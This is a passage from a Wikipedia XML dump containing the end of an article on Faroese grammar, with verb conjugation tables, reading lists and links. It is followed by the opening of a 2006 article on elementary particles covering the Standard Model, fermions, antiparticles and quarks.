*3rd person feminine: ''tær'' [{{IPA|tɛaɹ}}] - they, them (''f. nom., acc.'')
*3rd person neuter: ''tey'' [{{IPA|tɛi}}] - they, them (''n. nom., acc.'')

The 3rd person plural neuter ''tey'' will be used in all cases when both genders are meant, as in:

*teir eru onglendingar - they are Englishmen (''about males'')
*tær eru føroyingar - they are Faroese (''about females'')
*tey eru fólk úr Evropa - they are people from Europe (''both sexes'')

===Verbs===
====Weak Inflection====
There are 4 classes of weak inflection of verbs (with some underclasses). E.g.:
#stem-final '''-a''', 2-3.pers.sg. '''-r''' -  kall'''a!''' ([[imperative]]), tú/hann kalla-r (you/he call(s))
#2-3.pers.sg. '''-ur''' - tú/hann sel'''ur''' (you/he sell(s))
#2-3.pers.sg. '''-ir''' - tú/hann døm'''ir''' (you/he judge(s))
#2. pers.sg. '''-rt''' -  tú rø'''rt''' (you row). There occurs a Verschärfung in certain surroundings: ''eg rógvi'' [{{IPA|eː ɹɛgvɪ}}], I row; vs. ''eg róði'' [{{IPA|eː ɹɔuwɪ}}], I rowed. 

{| id=toc style=&quot;margin-left: 15px;&quot; width=460 cellpadding=2
|- style=&quot;background:#ccccff&quot;
|colspan=&quot;9&quot; align=&quot;center&quot; bgcolor=&quot;#ccccff&quot;| Weak Inflection
|-
|Infinitive
| colspan=2 align=center | 1. '''kalla'''
| colspan=2 align=center | 2. '''selja'''
| colspan=2 align=center | 3. '''døma'''
| colspan=2 align=center | 4. '''rógva'''
|- 
|colspan=&quot;9&quot; bgcolor=&quot;#dddddd&quot;| 
|-
|bgcolor=&quot;#eeeeee&quot;| '''Singular'''
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|-
|1st pers.
|bgcolor=&quot;#ffffff&quot;| kall'''i'''
|bgcolor=&quot;#ffffff&quot;| kalla'''ði'''
|bgcolor=&quot;#ffffff&quot;| selj'''i'''
|bgcolor=&quot;#ffffff&quot;| sel'''di'''
|bgcolor=&quot;#ffffff&quot;| døm'''i'''
|bgcolor=&quot;#ffffff&quot;| døm'''di'''
|bgcolor=&quot;#ffffff&quot;| rógv'''i'''
|bgcolor=&quot;#ffffff&quot;| ró'''ði'''
|-
|2nd pers.
|bgcolor=&quot;#ffffff&quot;| kalla'''r'''
|bgcolor=&quot;#ffffff&quot;| kalla'''ði'''
|bgcolor=&quot;#ffffff&quot;| sel'''ur'''
|bgcolor=&quot;#ffffff&quot;| sel'''di'''
|bgcolor=&quot;#ffffff&quot;| døm'''ir'''
|bgcolor=&quot;#ffffff&quot;| døm'''di'''
|bgcolor=&quot;#ffffff&quot;| rø'''rt'''
|bgcolor=&quot;#ffffff&quot;| ró'''ði'''
|-
|3rd pers.
|bgcolor=&quot;#ffffff&quot;| kalla'''r'''
|bgcolor=&quot;#ffffff&quot;| kalla'''ði'''
|bgcolor=&quot;#ffffff&quot;| sel'''ur'''
|bgcolor=&quot;#ffffff&quot;| sel'''di'''
|bgcolor=&quot;#ffffff&quot;| døm'''ir'''
|bgcolor=&quot;#ffffff&quot;| døm'''di'''
|bgcolor=&quot;#ffffff&quot;| rø'''r'''
|bgcolor=&quot;#ffffff&quot;| ró'''ði'''
|- 
|colspan=&quot;9&quot; bgcolor=&quot;#dddddd&quot;| 
|-
|bgcolor=&quot;#eeeeee&quot;| '''Plural'''
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|-
|1st, 2nd, 3rd pers.
|bgcolor=&quot;#ffffff&quot;| kall'''a'''
|bgcolor=&quot;#ffffff&quot;| kalla'''ðu'''
|bgcolor=&quot;#ffffff&quot;| selj'''a'''
|bgcolor=&quot;#ffffff&quot;| sel'''du'''
|bgcolor=&quot;#ffffff&quot;| døm'''a'''
|bgcolor=&quot;#ffffff&quot;| døm'''du'''
|bgcolor=&quot;#ffffff&quot;| rógv'''a'''
|bgcolor=&quot;#ffffff&quot;| ró'''ðu'''
|- 
|colspan=&quot;9&quot; bgcolor=&quot;#deeede&quot;| 
|-style=&quot;background:#efffef&quot;
|[[Supine]]
| colspan=2 align=center |kalla'''ð'''
| colspan=2 align=center |sel'''t'''
| colspan=2 align=center |døm'''t'''
| colspan=2 align=center |ró'''ð'''
|}

====Strong Inflection====
These verbs are also referred to as regular. There are 7 classes (with underclasses), distinguished by the variations of the stem-vowel:
#'''í - ei - i- i;''' - at b'''í'''ta - eg b'''ei'''t - vit b'''i'''tu - vit hava b'''i'''tið (bite)
#'''ó/ú- ey - u- o;''' - at br'''ó'''ta - eg br'''ey'''t - vit br'''u'''tu - vit hava br'''o'''tið (break)
#'''e/i/ø - a- u- o/u;''' - at sv'''i'''mja - eg sv'''a'''m - vit sv'''u'''mu - vit hava sv'''o'''mið (swim)
#'''e/o - a - ó - o;''' - at b'''e'''ra - eg b'''a'''r - vit b'''ó'''ru - vit hava b'''o'''rið (bear)
#*'''o - o - o - o;''' - at k'''o'''ma - eg k'''o'''m - vit k'''o'''mu - vit hava k'''o'''mið (come)
#'''e/i - a/á - ó - i;''' - at l'''i'''ggja - eg l'''á''' - vit l'''ó'''gu - vit hava l'''i'''gið (lie)
#'''a - ó - ó - a;''' - at f'''a'''ra - eg f'''ó'''r - vit f'''ó'''ru - vit hava f'''a'''rið (go)
#'''a/á - e - i - i;''' - at f'''á'''a - eg f'''e'''kk - vit f'''i'''ngu - vit hava f'''i'''ngið (get)
{| id=toc style=&quot;margin-left: 15px;&quot; width=700 cellpadding=2
|- style=&quot;background:#ccccff&quot;
|colspan=&quot;15&quot; align=&quot;center&quot; bgcolor=&quot;#ccccff&quot;| Strong Inflection
|-
|Infinitive
| colspan=2 align=center | 1. '''bíta'''
| colspan=2 align=center | 2. '''bróta'''
| colspan=2 align=center | 3. '''svimja'''
| colspan=2 align=center | 4. '''bera'''
| colspan=2 align=center | 5. '''koma'''
| colspan=2 align=center | 6. '''fara'''
| colspan=2 align=center | 7. '''fáa'''
|- 
|colspan=&quot;15&quot; bgcolor=&quot;#dddddd&quot;| 
|-
|bgcolor=&quot;#eeeeee&quot;| '''Singular'''
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|-
|1st pers.
|bgcolor=&quot;#ffffff&quot;| bít'''i'''
|bgcolor=&quot;#ffffff&quot;| beit
|bgcolor=&quot;#ffffff&quot;| brót'''i'''
|bgcolor=&quot;#ffffff&quot;| breyt
|bgcolor=&quot;#ffffff&quot;| svimj'''i'''
|bgcolor=&quot;#ffffff&quot;| svam
|bgcolor=&quot;#ffffff&quot;| kom'''i'''
|bgcolor=&quot;#ffffff&quot;| kom
|bgcolor=&quot;#ffffff&quot;| ligg'''i'''
|bgcolor=&quot;#ffffff&quot;| lá
|bgcolor=&quot;#ffffff&quot;| far'''i'''
|bgcolor=&quot;#ffffff&quot;| fór
|bgcolor=&quot;#ffffff&quot;| fá'''i'''
|bgcolor=&quot;#ffffff&quot;| fekk
|-
|2nd pers.
|bgcolor=&quot;#ffffff&quot;| bít'''ur'''
|bgcolor=&quot;#ffffff&quot;| beit'''st'''
|bgcolor=&quot;#ffffff&quot;| brýt'''ur'''
|bgcolor=&quot;#ffffff&quot;| breyt'''st'''
|bgcolor=&quot;#ffffff&quot;| svim'''ur'''
|bgcolor=&quot;#ffffff&quot;| svam'''st'''
|bgcolor=&quot;#ffffff&quot;| kem'''ur'''
|bgcolor=&quot;#ffffff&quot;| kom'''st'''
|bgcolor=&quot;#ffffff&quot;| ligg'''ur'''
|bgcolor=&quot;#ffffff&quot;| lá'''st'''
|bgcolor=&quot;#ffffff&quot;| fer'''t'''
|bgcolor=&quot;#ffffff&quot;| fór'''t'''
|bgcolor=&quot;#ffffff&quot;| fær'''t'''
|bgcolor=&quot;#ffffff&quot;| fek'''st'''
|-
|3rd pers.
|bgcolor=&quot;#ffffff&quot;| bít'''ur'''
|bgcolor=&quot;#ffffff&quot;| beit
|bgcolor=&quot;#ffffff&quot;| brýt'''ur'''
|bgcolor=&quot;#ffffff&quot;| breyt
|bgcolor=&quot;#ffffff&quot;| svim'''ur'''
|bgcolor=&quot;#ffffff&quot;| svam
|bgcolor=&quot;#ffffff&quot;| kem'''ur'''
|bgcolor=&quot;#ffffff&quot;| kom
|bgcolor=&quot;#ffffff&quot;| ligg'''ur'''
|bgcolor=&quot;#ffffff&quot;| lá
|bgcolor=&quot;#ffffff&quot;| fer
|bgcolor=&quot;#ffffff&quot;| fór
|bgcolor=&quot;#ffffff&quot;| fær
|bgcolor=&quot;#ffffff&quot;| fekk
|- 
|colspan=&quot;15&quot; bgcolor=&quot;#dddddd&quot;| 
|-
|bgcolor=&quot;#eeeeee&quot;| '''Plural'''
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|-
|1st, 2nd, 3rd pers.
|bgcolor=&quot;#ffffff&quot;| bít'''a'''
|bgcolor=&quot;#ffffff&quot;| bit'''u'''
|bgcolor=&quot;#ffffff&quot;| brót'''a'''
|bgcolor=&quot;#ffffff&quot;| brut'''u'''
|bgcolor=&quot;#ffffff&quot;| svimj'''a'''
|bgcolor=&quot;#ffffff&quot;| svum'''u'''
|bgcolor=&quot;#ffffff&quot;| kom'''a'''
|bgcolor=&quot;#ffffff&quot;| kom'''u'''
|bgcolor=&quot;#ffffff&quot;| liggj'''a'''
|bgcolor=&quot;#ffffff&quot;| lóg'''u'''
|bgcolor=&quot;#ffffff&quot;| far'''a'''
|bgcolor=&quot;#ffffff&quot;| fór'''u'''
|bgcolor=&quot;#ffffff&quot;| fá'''a'''
|bgcolor=&quot;#ffffff&quot;| fingu
|- 
|colspan=&quot;15&quot; bgcolor=&quot;#deeede&quot;| 
|-style=&quot;background:#efffef&quot;
|[[Supine]]
| colspan=2 align=center | bit'''ið'''
| colspan=2 align=center |brot'''ið'''
| colspan=2 align=center |svom'''ið'''
| colspan=2 align=center |kom'''ið'''
| colspan=2 align=center |lig'''ið'''
| colspan=2 align=center |far'''ið'''
| colspan=2 align=center |fing'''ið'''
|}

====Auxiliary verbs====
The [[auxiliary verb]]s in Faroese are:

*at vera - to be
*at hava - to have
*at verða - to be, become
*at blíva - to be, become
{| id=toc style=&quot;margin-left: 15px;&quot; width=500 cellpadding=2
|- style=&quot;background:#ccccff&quot;
|colspan=&quot;9&quot; align=&quot;center&quot; bgcolor=&quot;#ccccff&quot;| Auxiliary verbs
|-
|Infinitive
| colspan=2 align=center | 1. '''vera'''
| colspan=2 align=center | 2. '''hava'''
| colspan=2 align=center | 3. '''verða'''
| colspan=2 align=center | 4. '''blíva'''
|- 
|colspan=&quot;9&quot; bgcolor=&quot;#dddddd&quot;| 
|-
|bgcolor=&quot;#eeeeee&quot;| '''Singular'''
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|-
|1st pers.
|bgcolor=&quot;#ffffff&quot;| er'''i'''
|bgcolor=&quot;#ffffff&quot;| var
|bgcolor=&quot;#ffffff&quot;| hav'''i'''
|bgcolor=&quot;#ffffff&quot;| hev'''ði'''
|bgcolor=&quot;#ffffff&quot;| verð'''i'''
|bgcolor=&quot;#ffffff&quot;| varð
|bgcolor=&quot;#ffffff&quot;| blív'''i'''
|bgcolor=&quot;#ffffff&quot;| bleiv
|-
|2nd pers.
|bgcolor=&quot;#ffffff&quot;| er'''t'''
|bgcolor=&quot;#ffffff&quot;| var'''st'''
|bgcolor=&quot;#ffffff&quot;| hev'''ur'''
|bgcolor=&quot;#ffffff&quot;| hev'''ði'''
|bgcolor=&quot;#ffffff&quot;| verð'''ur'''
|bgcolor=&quot;#ffffff&quot;| varð'''st'''
|bgcolor=&quot;#ffffff&quot;| blív'''ur'''
|bgcolor=&quot;#ffffff&quot;| bleiv'''st'''
|-
|3rd pers.
|bgcolor=&quot;#ffffff&quot;| er
|bgcolor=&quot;#ffffff&quot;| var
|bgcolor=&quot;#ffffff&quot;| hev'''ur'''
|bgcolor=&quot;#ffffff&quot;| hev'''ði'''
|bgcolor=&quot;#ffffff&quot;| verð'''ur'''
|bgcolor=&quot;#ffffff&quot;| varð
|bgcolor=&quot;#ffffff&quot;| blív'''ur'''
|bgcolor=&quot;#ffffff&quot;| bleiv
|- 
|colspan=&quot;9&quot; bgcolor=&quot;#dddddd&quot;| 
|-
|bgcolor=&quot;#eeeeee&quot;| '''Plural'''
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|-
|1st, 2nd, 3rd pers.
|bgcolor=&quot;#ffffff&quot;| er'''u'''
|bgcolor=&quot;#ffffff&quot;| vór'''u'''
|bgcolor=&quot;#ffffff&quot;| hav'''a'''
|bgcolor=&quot;#ffffff&quot;| høv'''du'''
|bgcolor=&quot;#ffffff&quot;| verð'''a'''
|bgcolor=&quot;#ffffff&quot;| vórð'''u'''
|bgcolor=&quot;#ffffff&quot;| blív'''a'''
|bgcolor=&quot;#ffffff&quot;| bliv'''u'''
|- 
|colspan=&quot;9&quot; bgcolor=&quot;#deeede&quot;| 
|-style=&quot;background:#efffef&quot;
|[[Supine]]
| colspan=2 align=center | ver'''ið'''
| colspan=2 align=center | hav'''t'''
| colspan=2 align=center | -
| colspan=2 align=center | bliv'''ið'''
|}
Note, that ''vera'' and ''verða'' are homonyms.

====Preterite-present verbs====
The [[preterite-present verb]]s in Faroese are the following:
*at kunna - to be able to
*at munna - to want
*at mega - to be allowed to
*at skula - shall
*at vita - to know
*at vilja - to want

{| id=toc style=&quot;margin-left: 15px;&quot; width=650 cellpadding=2
|- style=&quot;background:#ccccff&quot;
|colspan=&quot;13&quot; align=&quot;center&quot; bgcolor=&quot;#ccccff&quot;| Preterite-present verbs
|-
|Infinitive
| colspan=2 align=center | 1. '''kunna'''
| colspan=2 align=center | 2. '''munna'''
| colspan=2 align=center | 3. '''mega'''
| colspan=2 align=center | 4. '''skula'''
| colspan=2 align=center | 5. '''vita'''
| colspan=2 align=center | 6. '''vilja'''
|- 
|colspan=&quot;13&quot; bgcolor=&quot;#dddddd&quot;| 
|-
|bgcolor=&quot;#eeeeee&quot;| '''Singular'''
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|-
|1st pers.
|bgcolor=&quot;#ffffff&quot;| kann
|bgcolor=&quot;#ffffff&quot;| kun'''di'''
|bgcolor=&quot;#ffffff&quot;| man
|bgcolor=&quot;#ffffff&quot;| mun'''di'''
|bgcolor=&quot;#ffffff&quot;| má
|bgcolor=&quot;#ffffff&quot;| má'''tti'''
|bgcolor=&quot;#ffffff&quot;| skal
|bgcolor=&quot;#ffffff&quot;| skul'''di'''
|bgcolor=&quot;#ffffff&quot;| veit
|bgcolor=&quot;#ffffff&quot;| vis'''ti'''
|bgcolor=&quot;#ffffff&quot;| vil
|bgcolor=&quot;#ffffff&quot;| vil'''di'''
|-
|2nd pers.
|bgcolor=&quot;#ffffff&quot;| kan'''st'''
|bgcolor=&quot;#ffffff&quot;| kun'''di'''
|bgcolor=&quot;#ffffff&quot;| man'''st'''
|bgcolor=&quot;#ffffff&quot;| mun'''di'''
|bgcolor=&quot;#ffffff&quot;| má'''st'''
|bgcolor=&quot;#ffffff&quot;| má'''tti'''
|bgcolor=&quot;#ffffff&quot;| skal'''t'''
|bgcolor=&quot;#ffffff&quot;| skul'''di'''
|bgcolor=&quot;#ffffff&quot;| veit'''st'''
|bgcolor=&quot;#ffffff&quot;| vis'''ti'''
|bgcolor=&quot;#ffffff&quot;| vil'''t'''
|bgcolor=&quot;#ffffff&quot;| vil'''di'''
|-
|3rd pers.
|bgcolor=&quot;#ffffff&quot;| kann
|bgcolor=&quot;#ffffff&quot;| kun'''di'''
|bgcolor=&quot;#ffffff&quot;| man
|bgcolor=&quot;#ffffff&quot;| mun'''di'''
|bgcolor=&quot;#ffffff&quot;| má
|bgcolor=&quot;#ffffff&quot;| má'''tti'''
|bgcolor=&quot;#ffffff&quot;| skal
|bgcolor=&quot;#ffffff&quot;| skul'''di'''
|bgcolor=&quot;#ffffff&quot;| veit
|bgcolor=&quot;#ffffff&quot;| vis'''ti'''
|bgcolor=&quot;#ffffff&quot;| vil
|bgcolor=&quot;#ffffff&quot;| vil'''di'''
|- 
|colspan=&quot;13&quot; bgcolor=&quot;#dddddd&quot;| 
|-
|bgcolor=&quot;#eeeeee&quot;| '''Plural'''
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|bgcolor=&quot;#eeeeee&quot;| Present
|bgcolor=&quot;#eeeeee&quot;| Past
|-
|1st, 2nd, 3rd pers.
|bgcolor=&quot;#ffffff&quot;| kunn'''u'''/&lt;br&gt;kunn'''a'''
|bgcolor=&quot;#ffffff&quot;| kund'''u'''
|bgcolor=&quot;#ffffff&quot;| munn'''u'''/&lt;br&gt;munn'''a'''
|bgcolor=&quot;#ffffff&quot;| mund'''u'''
|bgcolor=&quot;#ffffff&quot;| mug'''u'''/&lt;br&gt;meg'''a'''
|bgcolor=&quot;#ffffff&quot;| má'''ttu'''
|bgcolor=&quot;#ffffff&quot;| skul'''u'''/&lt;br&gt;skul'''a'''
|bgcolor=&quot;#ffffff&quot;| skul'''du'''
|bgcolor=&quot;#ffffff&quot;| vit'''a'''
|bgcolor=&quot;#ffffff&quot;| vist'''u'''
|bgcolor=&quot;#ffffff&quot;| vilj'''a'''
|bgcolor=&quot;#ffffff&quot;| vil'''du'''
|- 
|colspan=&quot;13&quot; bgcolor=&quot;#deeede&quot;| 
|-style=&quot;background:#efffef&quot;
|[[Supine]]
| colspan=2 align=center |kunn'''að'''
| colspan=2 align=center |munn'''að'''
| colspan=2 align=center |?
| colspan=2 align=center |skul'''að'''
| colspan=2 align=center |vit'''að'''
| colspan=2 align=center |vilj'''að'''
|}

== Further reading ==
This is a chronological list of books about Faroese still available. Unfortunately, the English-Faroese and Faroese-English dictionaries are sold out. 
*V.U. Hammershaimb: ''Færøsk Anthologi.'' Copenhagen 1891 (no ISBN, 2 volumes, 4th printing, Tórshavn 1991) (in Danish)
*M.A. Jacobsen, Chr. Matras: ''Føroysk - donsk orðabók.'' Tórshavn, 1961. (no ISBN, 521 pages, Faroese-Danish  dictionary)
*W.B. Lockwood: ''An Introduction to Modern Faroese.'' Tórshavn, 1977. (no ISBN, 244 pages, 4th printing 2002)
*Eigil Lehmann: ''Føroysk-norsk orðabók''. Tórshavn, 1987 (no ISBN, 388 p.) (Faroese-Norwegian dictionary)
*Tórður Jóansson: ''English loanwords in Faroese''. Tórshavn, 1997. (243 pages) ISBN 99918-49-14-9 
*Johan Hendrik W. Poulsen: ''Føroysk orðabók''. Tórshavn, 1998. (1483 pages) ISBN 99918-41-52-0 (in Faroese)
*Annfinnur í Skála: ''Donsk-føroysk orðabók''. Tórshavn 1998. (1369 pages) ISBN 9991842225 (Danish-Faroese dictionary)
*Michael Barnes: ''Faroese Language Studies'' Studia Nordica 5, Supplementum 30. Tórshavn, 2002. (239 pages)  ISBN 99918-41-30-X
*Höskuldur Thráinsson (Þráinsson), Hjalmar P. Petersen, Jógvan í Lon Jacobsen, Zakaris Svabo Hansen: ''Faroese. An Overview and Reference Grammar''. Tórshavn, 2004. (500 pages) ISBN 99918-41-85-7 ([http://vestnorden.no/CHA3%5B1%5D.03.pdf Chapter 3 - &quot;Inflectional Morphology, Grammatical Categories and Word Classes&quot; as PDF download, 167 p.])
*Richard Kölbl: ''Färöisch Wort für Wort''. Bielefeld 2004 (in German)
*Gianfranco Contri: ''Dizionario faroese-italiano = Føroysk-italsk orðabók''. Tórshavn, 2004. (627 p.)  ISBN 99918-41-58-X (Faroese-Italian dictionary)
*Hjalmar Petersen, Marius Staksberg: ''Donsk-Føroysk orðabók''. Tórshavn, 2005. (879 p.) ISBN 99918-41-51-2 (Danish-Faroese dictionary)

== External links ==
{{InterWiki|code=fo}}
* [http://www.fmn.fo/malnevndin/about.htm FMN.fo - Faroese Language Committee] (Official site with further links)
* [http://www.websters-online-dictionary.org/definition/Faeroese-english/ Faeroese - English Dictionary] from [http://www.websters-online-dictionary.org Webster's Online Dictionary] - the Rosetta Edition.
* [http://www.ethnologue.com/show_language.asp?code=fao Ethnologue report on Faroese]

[[Category:Faroese language]]
[[Category:Languages of Denmark]]
[[Category:North Germanic languages]]

[[af:Faroëes]]
[[bs:Farski jezik]]
[[ca:Feroès]]
[[cs:Faerština]]
[[da:Færøsk (sprog)]]
[[de:Färöische Sprache]]
[[es:Idioma feroés]]
[[eo:Feroa lingvo]]
[[eu:Faroera]]
[[fo:Føroyskt mál]]
[[fr:Féringien]]
[[ko:페로어]]
[[is:Færeyska]]
[[it:Lingua faroese]]
[[kw:Faroyek]]
[[la:Lingua Faroensis]]
[[li:Faeröers]]
[[nl:Faeröers]]
[[ja:フェロー語]]
[[no:Færøysk språk]]
[[nn:Færøysk språk]]
[[pl:Język farerski]]
[[ru:Фарерский язык]]
[[se:Fearagiella]]
[[sk:Faerčina]]
[[sl:Ferščina]]
[[fi:Fäärin kieli]]
[[sv:Färöiska]]
[[th:ภาษาฟาโร]]
[[wa:Faeroyès]]
[[zh:法罗语]]</text>
    </revision>
  </page>
  <page>
    <title>Elementary particle</title>
    <id>11274</id>
    <revision>
      <id>40962294</id>
      <timestamp>2006-02-24T03:35:13Z</timestamp>
      <contributor>
        <username>DV8 2XL</username>
        <id>146684</id>
      </contributor>
      <comment>Revert to revision 40178605 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">:''For the novel by [[Michel Houellebecq]], see [[The Elementary Particles|''The Elementary Particles'']].

In [[particle physics]], an '''elementary particle''' is a particle of which other, larger particles are composed. For example, [[atom]]s are made up of smaller particles known as [[electron]]s, [[proton (physics)|protons]], and [[neutron]]s. The proton and neutron, in turn, are composed of more elementary particles known as [[quark]]s. One of the outstanding problems of particle physics is to find the most elementary particles — or the so-called '''fundamental particles''' — which make up all the other particles found in Nature, and are not themselves made up of smaller particles.

== Standard Model ==
{{main|Standard Model}}

The Standard Model of particle physics contains 12 flavours of elementary [[fermion]]s (&quot;[[matter]] particles&quot;), plus their corresponding [[antiparticle]]s, as well as elementary [[boson]]s that mediate the forces and the still undiscovered [[Higgs boson]]. However, the Standard Model is widely considered to be a provisional theory rather than a truly fundamental one, since it is fundamentally incompatible with [[Albert Einstein|Einstein]]'s [[general relativity]]. There are likely to be hypothetical elementary particles not described by the Standard Model, such as the [[graviton]], the particle that would carry the [[gravity|gravitational force]] or the [[sparticle]]s, [[supersymmetry|supersymmetric]] partners of the ordinary particles.

=== Fundamental fermions ===
{{main|fermion}}

The 12 fundamental fermionic flavours are divided into three [[generation (particle physics)|generations]] of four particles each. Six of the particles are [[quarks]]. The remaining six are [[leptons]], three of which are [[neutrino]]s, and the remaining three of which have an electric charge of −1: the electron and its two cousins, the [[muon]] and the [[tau lepton]].

{| width=100%
|+ '''''Particle Generations'''''
|- valign=top
| ''First generation''
* [[electron]]: ''e&lt;sup&gt;−&lt;/sup&gt;''
* electron-[[neutrino]]: ''&amp;nu;&lt;sub&gt;e&lt;/sub&gt;''
* [[up quark]]: ''u''
* [[down quark]]: ''d''
| ''Second generation''
* [[muon]]: ''&amp;mu;&lt;sup&gt;−&lt;/sup&gt;''
* muon-neutrino: ''&amp;nu;&lt;sub&gt;&amp;mu;&lt;/sub&gt;''
* [[charm quark]]: ''c''
* [[strange quark]]: ''s''
| ''Third generation''
* [[tau lepton]]: ''&amp;tau;&lt;sup&gt;−&lt;/sup&gt;''
* tau-neutrino: ''&amp;nu;&lt;sub&gt;&amp;tau;&lt;/sub&gt;''
* [[top quark]]: ''t''
* [[bottom quark]]: ''b''
|}

==== Antiparticles ====
{{main|antimatter}}

There are also 12 fundamental fermionic antiparticles which correspond to these 12 particles.  The [[positron]] ''e&lt;sup&gt;+&lt;/sup&gt;'' corresponds to the electron and has an electric charge of +1 and so on:

{| width=100%
|+ '''''Antiparticles'''''
|- valign=top
| ''First generation''
* [[positron]]: ''e&lt;sup&gt;+&lt;/sup&gt;''
* electron-antineutrino: &lt;math&gt; \bar{\nu}_e &lt;/math&gt;
* up antiquark: &lt;math&gt; \bar{u} &lt;/math&gt;
* down antiquark: &lt;math&gt; \bar{d} &lt;/math&gt;
| ''Second generation''
* positive muon: ''&amp;mu;&lt;sup&gt;+&lt;/sup&gt;''
* muon-antineutrino: &lt;math&gt; \bar{\nu}_\mu &lt;/math&gt;
* charm antiquark: &lt;math&gt; \bar{c} &lt;/math&gt;
* strange antiquark: &lt;math&gt; \bar{s} &lt;/math&gt;
| ''Third generation''
* positive tau lepton: ''&amp;tau;&lt;sup&gt;+&lt;/sup&gt;''
* tau-antineutrino: &lt;math&gt; \bar{\nu}_\tau &lt;/math&gt;
* top antiquark: &lt;math&gt; \bar{t} &lt;/math&gt;
* bottom antiquark: &lt;math&gt; \bar{b} &lt;/math&gt;
|}

==== Quarks ====
{{main|quark}}

Quarks and antiquarks have never been detected to be isolated, a fact explained by [[confinement]]. Every quark carries one of three [[color charge]]s of the [[strong interaction]]; antiquarks similarly carry anticolor. Color charged particles interact via [[gluon]] exchange in the same way that charged particles interact via [[photon]] exchange. However, gluons are themselves color charged, resulting in an amplification of the strong force as color charged particles are separated. Unlike the [[electromagnetism|electromagnetic force]] which diminishes as charged particles separate, color charged particles feel increasing force; effectively, they can never separate from one another.

However, color charged particles may combine to form color neutral [[composite particle]]s called [[hadron]]s. A quark may pair up to an antiquark: the quark has a color and the antiquark has the corresponding anticolor. The color and anticolor cancel out, forming a color neutral [[meson]]. Or three quarks can exist together: one quark is &quot;red&quot;, another &quot;blue&quot;, another &quot;green&quot;. These three colored quarks together form a color neutral [[baryon]]. Or three antiquarks can exist together: one antiquark is &quot;antired&quot;, another &quot;antiblue&quot;, another &quot;antigreen&quot;. These three anticolored antiquarks form a color neutral [[antibaryon]].

Quarks also carry fractional [[electric charge]]s, but since they are confined within hadrons whose charges are all integral, fractional charges have never been isolated. Note that quarks have electric charges of either +2/3 or −1/3, whereas antiquarks have corresponding electric charges of either −2/3 or +1/3.

